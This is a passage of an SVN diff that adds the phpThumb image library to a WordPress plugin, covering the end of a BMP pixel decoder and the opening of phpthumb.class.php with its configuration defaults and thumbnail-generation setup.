+									}
+								}
+								while (($pixeldataoffset % 4) != 0) {
+									// lines are padded to nearest DWORD
+									$pixeldataoffset++;
+								}
+							}
+							break;
+
+						case 8:
+							for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) {
+								for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) {
+									$paletteindex = ord($BMPpixelData{$pixeldataoffset++});
+									$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
+								}
+								while (($pixeldataoffset % 4) != 0) {
+									// lines are padded to nearest DWORD
+									$pixeldataoffset++;
+								}
+							}
+							break;
+
+						case 24:
+							for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) {
+								for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) {
+									$thisfile_bmp['data'][$row][$col] = (ord($BMPpixelData{$pixeldataoffset+2}) << 16) | (ord($BMPpixelData{$pixeldataoffset+1}) << 8) | ord($BMPpixelData{$pixeldataoffset});
+									$pixeldataoffset += 3;
+								}
+								while (($pixeldataoffset % 4) != 0) {
+									// lines are padded to nearest DWORD
+									$pixeldataoffset++;
+								}
+							}
+							break;
+
+						case 32:
+							for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) {
+								for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) {
+									$thisfile_bmp['data'][$row][$col] = (ord($BMPpixelData{$pixeldataoffset+3}) << 24) | (ord($BMPpixelData{$pixeldataoffset+2}) << 16) | (ord($BMPpixelData{$pixeldataoffset+1}) << 8) | ord($BMPpixelData{$pixeldataoffset});
+									$pixeldataoffset += 4;
+								}
+								while (($pixeldataoffset % 4) != 0) {
+									// lines are padded to nearest DWORD
+									$pixeldataoffset++;
+								}
+							}
+							break;
+
+						case 16:
+							// ?
+							break;
+
+						default:
+							$ThisFileInfo['error'][] = 'Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data';
+							break;
+					}
+					break;
+
+
+				case 1: // BI_RLE8 - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_6x0u.asp
+					switch ($thisfile_bmp_header_raw['bits_per_pixel']) {
+						case 8:
+							$pixelcounter = 0;
+							while ($pixeldataoffset < strlen($BMPpixelData)) {
+								$firstbyte  = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+								$secondbyte = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+								if ($firstbyte == 0) {
+
+									// escaped/absolute mode - the first byte of the pair can be set to zero to
+									// indicate an escape character that denotes the end of a line, the end of
+									// a bitmap, or a delta, depending on the value of the second byte.
+									switch ($secondbyte) {
+										case 0:
+											// end of line
+											// no need for special processing, just ignore
+											break;
+
+										case 1:
+											// end of bitmap
+											$pixeldataoffset = strlen($BMPpixelData); // force to exit loop just in case
+											break;
+
+										case 2:
+											// delta - The 2 bytes following the escape contain unsigned values
+											// indicating the horizontal and vertical offsets of the next pixel
+											// from the current position.
+											$colincrement = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+											$rowincrement = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+											$col = ($pixelcounter % $thisfile_bmp_header_raw['width']) + $colincrement;
+											$row = ($thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width'])) - $rowincrement;
+											$pixelcounter = ($row * $thisfile_bmp_header_raw['width']) + $col;
+											break;
+
+										default:
+											// In absolute mode, the first byte is zero and the second byte is a
+											// value in the range 03H through FFH. The second byte represents the
+											// number of bytes that follow, each of which contains the color index
+											// of a single pixel. Each run must be aligned on a word boundary.
+											for ($i = 0; $i < $secondbyte; $i++) {
+												$paletteindex = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+												$col = $pixelcounter % $thisfile_bmp_header_raw['width'];
+												$row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']);
+												$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
+												$pixelcounter++;
+											}
+											while (($pixeldataoffset % 2) != 0) {
+												// Each run must be aligned on a word boundary.
+												$pixeldataoffset++;
+											}
+											break;
+									}
+
+								} else {
+
+									// encoded mode - the first byte specifies the number of consecutive pixels
+									// to be drawn using the color index contained in the second byte.
+									for ($i = 0; $i < $firstbyte; $i++) {
+										$col = $pixelcounter % $thisfile_bmp_header_raw['width'];
+										$row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']);
+										$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$secondbyte];
+										$pixelcounter++;
+									}
+
+								}
+							}
+							break;
+
+						default:
+							$ThisFileInfo['error'][] = 'Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data';
+							break;
+					}
+					break;
+
+
+
+				case 2: // BI_RLE4 - http://msdn.microsoft.com/library/en-us/gdi/bitmaps_6x0u.asp
+					switch ($thisfile_bmp_header_raw['bits_per_pixel']) {
+						case 4:
+							$pixelcounter = 0;
+							while ($pixeldataoffset < strlen($BMPpixelData)) {
+								$firstbyte  = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+								$secondbyte = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+								if ($firstbyte == 0) {
+
+									// escaped/absolute mode - the first byte of the pair can be set to zero to
+									// indicate an escape character that denotes the end of a line, the end of
+									// a bitmap, or a delta, depending on the value of the second byte.
+									switch ($secondbyte) {
+										case 0:
+											// end of line
+											// no need for special processing, just ignore
+											break;
+
+										case 1:
+											// end of bitmap
+											$pixeldataoffset = strlen($BMPpixelData); // force to exit loop just in case
+											break;
+
+										case 2:
+											// delta - The 2 bytes following the escape contain unsigned values
+											// indicating the horizontal and vertical offsets of the next pixel
+											// from the current position.
+											$colincrement = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+											$rowincrement = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+											$col = ($pixelcounter % $thisfile_bmp_header_raw['width']) + $colincrement;
+											$row = ($thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width'])) - $rowincrement;
+											$pixelcounter = ($row * $thisfile_bmp_header_raw['width']) + $col;
+											break;
+
+										default:
+											// In absolute mode, the first byte is zero. The second byte contains the number
+											// of color indexes that follow. Subsequent bytes contain color indexes in their
+											// high- and low-order 4 bits, one color index for each pixel. In absolute mode,
+											// each run must be aligned on a word boundary.
+											unset($paletteindexes);
+											for ($i = 0; $i < ceil($secondbyte / 2); $i++) {
+												$paletteindexbyte = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset++, 1));
+												$paletteindexes[] = ($paletteindexbyte & 0xF0) >> 4;
+												$paletteindexes[] = ($paletteindexbyte & 0x0F);
+											}
+											while (($pixeldataoffset % 2) != 0) {
+												// Each run must be aligned on a word boundary.
+												$pixeldataoffset++;
+											}
+
+											foreach ($paletteindexes as $dummy => $paletteindex) {
+												$col = $pixelcounter % $thisfile_bmp_header_raw['width'];
+												$row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']);
+												$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindex];
+												$pixelcounter++;
+											}
+											break;
+									}
+
+								} else {
+
+									// encoded mode - the first byte of the pair contains the number of pixels to be
+									// drawn using the color indexes in the second byte. The second byte contains two
+									// color indexes, one in its high-order 4 bits and one in its low-order 4 bits.
+									// The first of the pixels is drawn using the color specified by the high-order
+									// 4 bits, the second is drawn using the color in the low-order 4 bits, the third
+									// is drawn using the color in the high-order 4 bits, and so on, until all the
+									// pixels specified by the first byte have been drawn.
+									$paletteindexes[0] = ($secondbyte & 0xF0) >> 4;
+									$paletteindexes[1] = ($secondbyte & 0x0F);
+									for ($i = 0; $i < $firstbyte; $i++) {
+										$col = $pixelcounter % $thisfile_bmp_header_raw['width'];
+										$row = $thisfile_bmp_header_raw['height'] - 1 - (($pixelcounter - $col) / $thisfile_bmp_header_raw['width']);
+										$thisfile_bmp['data'][$row][$col] = $thisfile_bmp['palette'][$paletteindexes[($i % 2)]];
+										$pixelcounter++;
+									}
+
+								}
+							}
+							break;
+
+						default:
+							$ThisFileInfo['error'][] = 'Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data';
+							break;
+					}
+					break;
+
+
+				case 3: // BI_BITFIELDS
+					switch ($thisfile_bmp_header_raw['bits_per_pixel']) {
+						case 16:
+						case 32:
+							$redshift   = 0;
+							$greenshift = 0;
+							$blueshift  = 0;
+							if (!$thisfile_bmp_header_raw['red_mask'] || !$thisfile_bmp_header_raw['green_mask'] || !$thisfile_bmp_header_raw['blue_mask']) {
+								$ThisFileInfo['error'][] = 'missing $thisfile_bmp_header_raw[(red|green|blue)_mask]';
+								return false;
+							}
+							while ((($thisfile_bmp_header_raw['red_mask'] >> $redshift) & 0x01) == 0) {
+								$redshift++;
+							}
+							while ((($thisfile_bmp_header_raw['green_mask'] >> $greenshift) & 0x01) == 0) {
+								$greenshift++;
+							}
+							while ((($thisfile_bmp_header_raw['blue_mask'] >> $blueshift) & 0x01) == 0) {
+								$blueshift++;
+							}
+							for ($row = ($thisfile_bmp_header_raw['height'] - 1); $row >= 0; $row--) {
+								for ($col = 0; $col < $thisfile_bmp_header_raw['width']; $col++) {
+									$pixelvalue = $this->LittleEndian2Int(substr($BMPpixelData, $pixeldataoffset, $thisfile_bmp_header_raw['bits_per_pixel'] / 8));
+									$pixeldataoffset += $thisfile_bmp_header_raw['bits_per_pixel'] / 8;
+
+									$red   = intval(round(((($pixelvalue & $thisfile_bmp_header_raw['red_mask'])   >> $redshift)   / ($thisfile_bmp_header_raw['red_mask']   >> $redshift))   * 255));
+									$green = intval(round(((($pixelvalue & $thisfile_bmp_header_raw['green_mask']) >> $greenshift) / ($thisfile_bmp_header_raw['green_mask'] >> $greenshift)) * 255));
+									$blue  = intval(round(((($pixelvalue & $thisfile_bmp_header_raw['blue_mask'])  >> $blueshift)  / ($thisfile_bmp_header_raw['blue_mask']  >> $blueshift))  * 255));
+									$thisfile_bmp['data'][$row][$col] = (($red << 16) | ($green << 8) | ($blue));
+								}
+								while (($pixeldataoffset % 4) != 0) {
+									// lines are padded to nearest DWORD
+									$pixeldataoffset++;
+								}
+							}
+							break;
+
+						default:
+							$ThisFileInfo['error'][] = 'Unknown bits-per-pixel value ('.$thisfile_bmp_header_raw['bits_per_pixel'].') - cannot read pixel data';
+							break;
+					}
+					break;
+
+
+				default: // unhandled compression type
+					$ThisFileInfo['error'][] = 'Unknown/unhandled compression type value ('.$thisfile_bmp_header_raw['compression'].') - cannot decompress pixel data';
+					break;
+			}
+		}
+
+		return true;
+	}
+
+	function IntColor2RGB($color) {
+		$red   = ($color & 0x00FF0000) >> 16;
+		$green = ($color & 0x0000FF00) >> 8;
+		$blue  = ($color & 0x000000FF);
+		return array($red, $green, $blue);
+	}
+
+	function PlotPixelsGD(&$BMPdata, $truecolor=true) {
+		$imagewidth  = $BMPdata['header']['raw']['width'];
+		$imageheight = $BMPdata['header']['raw']['height'];
+
+		if ($truecolor) {
+
+			$gd = @ImageCreateTrueColor($imagewidth, $imageheight);
+
+		} else {
+
+			$gd = @ImageCreate($imagewidth, $imageheight);
+			if (!empty($BMPdata['palette'])) {
+				// create GD palette from BMP palette
+				foreach ($BMPdata['palette'] as $dummy => $color) {
+					list($r, $g, $b) = $this->IntColor2RGB($color);
+					ImageColorAllocate($gd, $r, $g, $b);
+				}
+			} else {
+				// create 216-color websafe palette
+				for ($r = 0x00; $r <= 0xFF; $r += 0x33) {
+					for ($g = 0x00; $g <= 0xFF; $g += 0x33) {
+						for ($b = 0x00; $b <= 0xFF; $b += 0x33) {
+							ImageColorAllocate($gd, $r, $g, $b);
+						}
+					}
+				}
+			}
+
+		}
+		if (!is_resource($gd)) {
+			return false;
+		}
+
+		foreach ($BMPdata['data'] as $row => $colarray) {
+			if (!phpthumb_functions::FunctionIsDisabled('set_time_limit')) {
+				set_time_limit(30);
+			}
+			foreach ($colarray as $col => $color) {
+				list($red, $green, $blue) = $this->IntColor2RGB($color);
+				if ($truecolor) {
+					$pixelcolor = ImageColorAllocate($gd, $red, $green, $blue);
+				} else {
+					$pixelcolor = ImageColorClosest($gd, $red, $green, $blue);
+				}
+				ImageSetPixel($gd, $col, $row, $pixelcolor);
+			}
+		}
+		return $gd;
+	}
+
+	function PlotBMP(&$BMPinfo) {
+		$starttime = time();
+		if (!isset($BMPinfo['bmp']['data']) || !is_array($BMPinfo['bmp']['data'])) {
+			echo 'ERROR: no pixel data<BR>';
+			return false;
+		}
+		if (!phpthumb_functions::FunctionIsDisabled('set_time_limit')) {
+			set_time_limit(intval(round($BMPinfo['resolution_x'] * $BMPinfo['resolution_y'] / 10000)));
+		}
+		$im = $this->PlotPixelsGD($BMPinfo['bmp']);
+		if (headers_sent()) {
+			echo 'plotted '.($BMPinfo['resolution_x'] * $BMPinfo['resolution_y']).' pixels in '.(time() - $starttime).' seconds<BR>';
+			ImageDestroy($im);
+			exit;
+		} else {
+			header('Content-Type: image/png');
+			ImagePNG($im);
+			ImageDestroy($im);
+			return true;
+		}
+		return false;
+	}
+
+	function BMPcompressionWindowsLookup($compressionid) {
+		static $BMPcompressionWindowsLookup = array(
+			0 => 'BI_RGB',
+			1 => 'BI_RLE8',
+			2 => 'BI_RLE4',
+			3 => 'BI_BITFIELDS',
+			4 => 'BI_JPEG',
+			5 => 'BI_PNG'
+		);
+		return (isset($BMPcompressionWindowsLookup[$compressionid]) ? $BMPcompressionWindowsLookup[$compressionid] : 'invalid');
+	}
+
+	function BMPcompressionOS2Lookup($compressionid) {
+		static $BMPcompressionOS2Lookup = array(
+			0 => 'BI_RGB',
+			1 => 'BI_RLE8',
+			2 => 'BI_RLE4',
+			3 => 'Huffman 1D',
+			4 => 'BI_RLE24',
+		);
+		return (isset($BMPcompressionOS2Lookup[$compressionid]) ? $BMPcompressionOS2Lookup[$compressionid] : 'invalid');
+	}
+
+
+	// from getid3.lib.php
+
+	function trunc($floatnumber) {
+		// truncates a floating-point number at the decimal point
+		// returns int (if possible, otherwise float)
+		if ($floatnumber >= 1) {
+			$truncatednumber = floor($floatnumber);
+		} elseif ($floatnumber <= -1) {
+			$truncatednumber = ceil($floatnumber);
+		} else {
+			$truncatednumber = 0;
+		}
+		if ($truncatednumber <= 1073741824) { // 2^30
+			$truncatednumber = (int) $truncatednumber;
+		}
+		return $truncatednumber;
+	}
+
+	function LittleEndian2Int($byteword) {
+		$intvalue = 0;
+		$byteword = strrev($byteword);
+		$bytewordlen = strlen($byteword);
+		for ($i = 0; $i < $bytewordlen; $i++) {
+			$intvalue += ord($byteword{$i}) * pow(256, ($bytewordlen - 1 - $i));
+		}
+		return $intvalue;
+	}
+
+	function BigEndian2Int($byteword) {
+		return $this->LittleEndian2Int(strrev($byteword));
+	}
+
+	function BigEndian2Bin($byteword) {
+		$binvalue = '';
+		$bytewordlen = strlen($byteword);
+		for ($i = 0; $i < $bytewordlen; $i++) {
+			$binvalue .= str_pad(decbin(ord($byteword{$i})), 8, '0', STR_PAD_LEFT);
+		}
+		return $binvalue;
+	}
+
+	function FixedPoint2_30($rawdata) {
+		$binarystring = $this->BigEndian2Bin($rawdata);
+		return $this->Bin2Dec(substr($binarystring, 0, 2)) + (float) ($this->Bin2Dec(substr($binarystring, 2, 30)) / 1073741824);
+	}
+
+	function Bin2Dec($binstring, $signed=false) {
+		$signmult = 1;
+		if ($signed) {
+			if ($binstring{0} == '1') {
+				$signmult = -1;
+			}
+			$binstring = substr($binstring, 1);
+		}
+		$decvalue = 0;
+		for ($i = 0; $i < strlen($binstring); $i++) {
+			$decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i);
+		}
+		return $this->CastAsInt($decvalue * $signmult);
+	}
+
+	function CastAsInt($floatnum) {
+		// convert to float if not already
+		$floatnum = (float) $floatnum;
+
+		// convert a float to type int, only if possible
+		if ($this->trunc($floatnum) == $floatnum) {
+			// it's not floating point
+			if ($floatnum <= 1073741824) { // 2^30
+				// it's within int range
+				$floatnum = (int) $floatnum;
+			}
+		}
+		return $floatnum;
+	}
+
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/ferdinand-wordbook/phpthumb/phpthumb.class.php	(revision 44)
@@ -0,0 +1,3948 @@
+<?php
+//////////////////////////////////////////////////////////////
+///  phpThumb() by James Heinrich <info@silisoftware.com>   //
+//        available at http://phpthumb.sourceforge.net     ///
+//////////////////////////////////////////////////////////////
+///                                                         //
+// See: phpthumb.readme.txt for usage instructions          //
+//                                                         ///
+//////////////////////////////////////////////////////////////
+
+ob_start();
+if (!include_once(dirname(__FILE__).'/phpthumb.functions.php')) {
+	ob_end_flush();
+	die('failed to include_once("'.realpath(dirname(__FILE__).'/phpthumb.functions.php').'")');
+}
+ob_end_clean();
+
+class phpthumb {
+
+	// public:
+	// START PARAMETERS (for object mode and phpThumb.php)
+	// See phpthumb.readme.txt for descriptions of what each of these values are
+	var $src  = null;     // SouRCe filename
+	var $new  = null;     // NEW image (phpThumb.php only)
+	var $w    = null;     // Width
+	var $h    = null;     // Height
+	var $wp   = null;     // Width  (Portrait Images Only)
+	var $hp   = null;     // Height (Portrait Images Only)
+	var $wl   = null;     // Width  (Landscape Images Only)
+	var $hl   = null;     // Height (Landscape Images Only)
+	var $ws   = null;     // Width  (Square Images Only)
+	var $hs   = null;     // Height (Square Images Only)
+	var $f    = null;     // output image Format
+	var $q    = 75;       // jpeg output Quality
+	var $sx   = null;     // Source crop top-left X position
+	var $sy   = null;     // Source crop top-left Y position
+	var $sw   = null;     // Source crop Width
+	var $sh   = null;     // Source crop Height
+	var $zc   = null;     // Zoom Crop
+	var $bc   = null;     // Border Color
+	var $bg   = null;     // BackGround color
+	var $fltr = array();  // FiLTeRs
+	var $goto = null;     // GO TO url after processing
+	var $err  = null;     // default ERRor image filename
+	var $xto  = null;     // extract eXif Thumbnail Only
+	var $ra   = null;     // Rotate by Angle
+	var $ar   = null;     // Auto Rotate
+	var $aoe  = null;     // Allow Output Enlargement
+	var $far  = null;     // Fixed Aspect Ratio
+	var $iar  = null;     // Ignore Aspect Ratio
+	var $maxb = null;     // MAXimum Bytes
+	var $down = null;     // DOWNload thumbnail filename
+	var $md5s = null;     // MD5 hash of Source image
+	var $sfn  = 0;        // Source Frame Number
+	var $dpi  = 150;      // Dots Per Inch for vector source formats
+	var $sia  = null;     // Save Image As filename
+
+	var $file = null;     // >>>deprecated, DO NOT USE, will be removed in future versions<<<
+
+	var $phpThumbDebug = null;
+	// END PARAMETERS
+
+
+	// public:
+	// START CONFIGURATION OPTIONS (for object mode only)
+	// See phpThumb.config.php for descriptions of what each of these settings do
+
+	// * Directory Configuration
+	var $config_cache_directory                      = null;
+	var $config_cache_directory_depth                = 0;
+	var $config_cache_disable_warning                = true;
+	var $config_cache_source_enabled                 = false;
+	var $config_cache_source_directory               = null;
+	var $config_temp_directory                       = null;
+	var $config_document_root                        = null;
+
+	// * Default output configuration:
+	var $config_output_format                        = 'jpeg';
+	var $config_output_maxwidth                      = 0;
+	var $config_output_maxheight                     = 0;
+	var $config_output_interlace                     = true;
+
+	// * Error message configuration
+	var $config_error_image_width                    = 400;
+	var $config_error_image_height                   = 100;
+	var $config_error_message_image_default          = '';
+	var $config_error_bgcolor                        = 'CCCCFF';
+	var $config_error_textcolor                      = 'FF0000';
+	var $config_error_fontsize                       = 1;
+	var $config_error_die_on_error                   = false;
+	var $config_error_silent_die_on_error            = false;
+	var $config_error_die_on_source_failure          = true;
+
+	// * Anti-Hotlink Configuration:
+	var $config_nohotlink_enabled                    = true;
+	var $config_nohotlink_valid_domains              = array();
+	var $config_nohotlink_erase_image                = true;
+	var $config_nohotlink_text_message               = 'Off-server thumbnailing is not allowed';
+	// * Off-server Linking Configuration:
+	var $config_nooffsitelink_enabled                = false;
+	var $config_nooffsitelink_valid_domains          = array();
+	var $config_nooffsitelink_require_refer          = false;
+	var $config_nooffsitelink_erase_image            = true;
+	var $config_nooffsitelink_watermark_src          = '';
+	var $config_nooffsitelink_text_message           = 'Off-server linking is not allowed';
+
+	// * Border & Background default colors
+	var $config_border_hexcolor                      = '000000';
+	var $config_background_hexcolor                  = 'FFFFFF';
+
+	// * TrueType Fonts
+	var $config_ttf_directory                        = './fonts';
+
+	var $config_max_source_pixels                    = null;
+	var $config_use_exif_thumbnail_for_speed         = false;
+	var $allow_local_http_src                        = false;
+
+	var $config_imagemagick_path                     = null;
+	var $config_prefer_imagemagick                   = true;
+	var $config_imagemagick_use_thumbnail            = true;
+
+	var $config_cache_maxage                         = null;
+	var $config_cache_maxsize                        = null;
+	var $config_cache_maxfiles                       = null;
+	var $config_cache_source_filemtime_ignore_local  = false;
+	var $config_cache_source_filemtime_ignore_remote = true;
+	var $config_cache_default_only_suffix            = false;
+	var $config_cache_force_passthru                 = true;
+	var $config_cache_prefix                         = '';    // default value set in the constructor below
+
+	// * MySQL
+	var $config_mysql_query                          = null;
+	var $config_mysql_hostname                       = null;
+	var $config_mysql_username                       = null;
+	var $config_mysql_password                       = null;
+	var $config_mysql_database                       = null;
+
+	// * Security
+	var $config_high_security_enabled                = false;
+	var $config_high_security_password               = null;
+	var $config_disable_debug                        = false;
+	var $config_allow_src_above_docroot              = false;
+	var $config_allow_src_above_phpthumb             = true;
+	var $config_allow_parameter_file                 = false;
+	var $config_allow_parameter_goto                 = false;
+
+	// * HTTP fopen
+	var $config_http_fopen_timeout                   = 10;
+	var $config_http_follow_redirect                 = true;
+
+	// * Compatability
+	var $config_disable_pathinfo_parsing             = false;
+	var $config_disable_imagecopyresampled           = false;
+	var $config_disable_onlycreateable_passthru      = false;
+
+	var $config_http_user_agent                      = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7';
+
+	// END CONFIGURATION OPTIONS
+
+
+	// public: error messages (read-only; persistant)
+	var $debugmessages = array();
+	var $debugtiming   = array();
+	var $fatalerror    = null;
+
+
+	// private: (should not be modified directly)
+	var $thumbnailQuality = 75;
+	var $thumbnailFormat  = null;
+
+	var $sourceFilename   = null;
+	var $rawImageData     = null;
+	var $IMresizedData    = null;
+	var $outputImageData  = null;
+
+	var $useRawIMoutput   = false;
+
+	var $gdimg_output     = null;
+	var $gdimg_source     = null;
+
+	var $getimagesizeinfo = null;
+
+	var $source_width  = null;
+	var $source_height = null;
+
+	var $thumbnailCropX = null;
+	var $thumbnailCropY = null;
+	var $thumbnailCropW = null;
+	var $thumbnailCropH = null;
+
+	var $exif_thumbnail_width  = null;
+	var $exif_thumbnail_height = null;
+	var $exif_thumbnail_type   = null;
+	var $exif_thumbnail_data   = null;
+	var $exif_raw_data         = null;
+
+	var $thumbnail_width        = null;
+	var $thumbnail_height       = null;
+	var $thumbnail_image_width  = null;
+	var $thumbnail_image_height = null;
+
+	var $cache_filename         = null;
+
+	var $AlphaCapableFormats = array('png', 'ico', 'gif');
+	var $is_alpha = false;
+
+	var $iswindows = null;
+
+	var $phpthumb_version = '1.7.9-200805132119';
+
+	//////////////////////////////////////////////////////////////////////
+
+	// public: constructor
+	function phpThumb() {
+		$this->DebugTimingMessage('phpThumb() constructor', __FILE__, __LINE__);
+		$this->DebugMessage('phpThumb() v'.$this->phpthumb_version, __FILE__, __LINE__);
+		$this->config_max_source_pixels = round(max(intval(ini_get('memory_limit')), intval(get_cfg_var('memory_limit'))) * 1048576 * 0.20); // 20% of memory_limit
+		$this->iswindows = (bool) (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
+		$this->config_document_root = (@$_SERVER['DOCUMENT_ROOT'] ? $_SERVER['DOCUMENT_ROOT'] : $this->config_document_root);
+		$this->config_cache_prefix = 'phpThumb_cache_'.@$_SERVER['SERVER_NAME'];
+
+		$php_sapi_name = strtolower(function_exists('php_sapi_name') ? php_sapi_name() : '');
+		if ($php_sapi_name == 'cli') {
+			$this->config_allow_src_above_docroot = true;
+		}
+	}
+
+	// public:
+	function setSourceFilename($sourceFilename) {
+		//$this->resetObject();
+		//$this->rawImageData   = null;
+		$this->sourceFilename = $sourceFilename;
+		$this->src            = $sourceFilename;
+		if (is_null($this->config_output_format)) {
+			$sourceFileExtension = strtolower(substr(strrchr($sourceFilename, '.'), 1));
+			if (ereg('^[a-z]{3,4}$', $sourceFileExtension)) {
+				$this->config_output_format = $sourceFileExtension;
+				$this->DebugMessage('setSourceFilename('.$sourceFilename.') set $this->config_output_format to "'.$sourceFileExtension.'"', __FILE__, __LINE__);
+			} else {
+				$this->DebugMessage('setSourceFilename('.$sourceFilename.') did NOT set $this->config_output_format to "'.$sourceFileExtension.'" because it did not seem like an appropriate image format', __FILE__, __LINE__);
+			}
+		}
+		$this->DebugMessage('setSourceFilename('.$sourceFilename.') set $this->sourceFilename to "'.$this->sourceFilename.'"', __FILE__, __LINE__);
+		return true;
+	}
+
+	// public:
+	function setSourceData($rawImageData, $sourceFilename='') {
+		//$this->resetObject();
+		//$this->sourceFilename = null;
+		$this->rawImageData   = $rawImageData;
+		$this->DebugMessage('setSourceData() setting $this->rawImageData ('.strlen($this->rawImageData).' bytes; magic="'.substr($this->rawImageData, 0, 4).'" ('.phpthumb_functions::HexCharDisplay(substr($this->rawImageData, 0, 4)).'))', __FILE__, __LINE__);
+		if ($this->config_cache_source_enabled) {
+			$sourceFilename = ($sourceFilename ? $sourceFilename : md5($rawImageData));
+			if (!is_dir($this->config_cache_source_directory)) {
+				$this->ErrorImage('$this->config_cache_source_directory ('.$this->config_cache_source_directory.') is not a directory');
+			} elseif (!@is_writable($this->config_cache_source_directory)) {
+				$this->ErrorImage('$this->config_cache_source_directory ('.$this->config_cache_source_directory.') is not writable');
+			}
+			$this->DebugMessage('setSourceData() attempting to save source image to "'.$this->config_cache_source_directory.DIRECTORY_SEPARATOR.urlencode($sourceFilename).'"', __FILE__, __LINE__);
+			if ($fp = @fopen($this->config_cache_source_directory.DIRECTORY_SEPARATOR.urlencode($sourceFilename), 'wb')) {
+				fwrite($fp, $rawImageData);
+				fclose($fp);
+			} elseif (!$this->phpThumbDebug) {
+				$this->ErrorImage('setSourceData() failed to write to source cache ('.$this->config_cache_source_directory.DIRECTORY_SEPARATOR.urlencode($sourceFilename).')');
+			}
+		}
+		return true;
+	}
+
+	// public:
+	function setSourceImageResource($gdimg) {
+		//$this->resetObject();
+		$this->gdimg_source = $gdimg;
+		return true;
+	}
+
+	// public:
+	function setParameter($param, $value) {
+		if ($param == 'src') {
+			$this->setSourceFilename($this->ResolveFilenameToAbsolute($value));
+		} elseif (@is_array($this->$param)) {
+			if (is_array($value)) {
+				foreach ($value as $arraykey => $arrayvalue) {
+					array_push($this->$param, $arrayvalue);
+				}
+			} else {
+				array_push($this->$param, $value);
+			}
+		} else {
+			$this->$param = $value;
+		}
+		return true;
+	}
+
+	// public:
+	function getParameter($param) {
+		//if (property_exists('phpThumb', $param)) {
+			return $this->$param;
+		//}
+		//$this->DebugMessage('setParameter() attempting to get non-existant parameter "'.$param.'"', __FILE__, __LINE__);
+		//return false;
+	}
+
+
+	// public:
+	function GenerateThumbnail() {
+
+		$this->setOutputFormat();
+			$this->phpThumbDebug('8a');
+		$this->ResolveSource();
+			$this->phpThumbDebug('8b');
+		$this->SetCacheFilename();
+			$this->phpThumbDebug('8c');
+		$this->ExtractEXIFgetImageSize();
+			$this->phpThumbDebug('8d');
+		if ($this->useRawIMoutput) {
+			$this->DebugMessage('Skipping rest of GenerateThumbnail() because ($this->useRawIMoutput == true)', __FILE__, __LINE__);
+			return true;
+		}
+			$this->phpThumbDebug('8e');
+		if (!$this->SourceImageToGD()) {
+			$this->DebugMessage('SourceImageToGD() failed', __FILE__, __LINE__);
+			return false;
+		}
+			$this->phpThumbDebug('8f');
+		$this->Rotate();
+			$this->phpThumbDebug('8g');
+		$this->CreateGDoutput();
+			$this->phpThumbDebug('8h');
+
+		switch ($this->far) {
+			case 'L':
+			case 'TL':
+			case 'BL':
+				$destination_offset_x = 0;
+				$destination_offset_y = round(($this->thumbnail_height - $this->thumbnail_image_height) / 2);
+				break;
+			case 'R':
+			case 'TR':
+			case 'BR':
+				$destination_offset_x =  round($this->thumbnail_width  - $this->thumbnail_image_width);
+				$destination_offset_y = round(($this->thumbnail_height - $this->thumbnail_image_height) / 2);
+				break;
+			case 'T':
+			case 'TL':
+			case 'TR':
+				$destination_offset_x = round(($this->thumbnail_width  - $this->thumbnail_image_width)  / 2);
+				$destination_offset_y = 0;
+				break;
+			case 'B':
+			case 'BL':
+			case 'BR':
+				$destination_offset_x = round(($this->thumbnail_width  - $this->thumbnail_image_width)  / 2);
+				$destination_offset_y =  round($this->thumbnail_height - $this->thumbnail_image_height);
+				break;
+			case 'C':
+			default:
+				$destination_offset_x = round(($this->thumbnail_width  - $this->thumbnail_image_width)  / 2);
+				$destination_offset_y = round(($this->thumbnail_height - $this->thumbnail_image_height) / 2);
+		}
+
+//		// copy/resize image to appropriate dimensions
+//		$borderThickness = 0;
+//		if (!empty($this->fltr)) {
+//			foreach ($this->fltr as $key => $value) {
